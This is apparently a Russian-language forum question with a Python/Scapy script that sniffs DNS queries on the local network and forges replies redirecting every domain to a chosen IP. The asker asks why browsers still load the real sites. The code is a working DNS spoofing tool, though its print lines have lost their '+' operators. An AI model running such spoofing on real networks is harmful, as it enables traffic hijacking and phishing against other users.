Почему не работает подмена DNS

#python #networking #dns #packet #scapy

#python #сеть #dns — сервер #пакет #scapy #dns

Вопрос:

Я написал скрипт на Python для подмены ответов DNS на все запросы, используя библиотеку Scapy. Сценарий выполнен успешно, то есть, когда я вручную ищу IP-адрес, я вместо этого получаю тот, который предоставил мой скрипт. Почему тогда при переходе на веб-сайты, требующие запроса DNS, я получаю правильную страницу вместо совершенно другого веб-сайта (который предоставляется по определенному IP).

 import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # remove scapy warnings

from scapy.all import *
conf.verb = 0 # turn off scapy messages

spoofed_ip = YOUR_IP

def start():
    print 'Listening for DNS Queries...'

    sniff(
          lfilter=lambda p: p.haslayer(UDP) and p.dport == 53, # is DNS query
          prn=callback,
    )

def callback(p):
    res = forge_response(p)
    sendp(res)

    print 'Spoofed Response: '   res[DNS].an.rrname   '->'   str(res[IP].dst)   ' As: '   spoofed_ip

def forge_response(p):
    ether = Ether(src=p[Ether].dst, dst=p[Ether].src) # swap macs
    ip = IP(src=p[IP].dst, dst=p[IP].src) # swap IPs
    udp = UDP(sport=p[UDP].dport, dport=p[UDP].sport) # swap ports

    dnsrr = DNSRR(rrname=p[DNSQR].qname, rdata=spoofed_ip)
    dns = DNS(id=p[DNS].id, ancount=1, an=dnsrr)

    res = ether / ip / udp / dns / dnsrr # forge response

    return res


start()
  

Большое вам спасибо.

Комментарии:

1. Возможно, это связано с кешем DNS в вашем браузере?

2. Нет. Пробовал это.

3. Запросы на веб-сайты вообще доходят до вашего кода?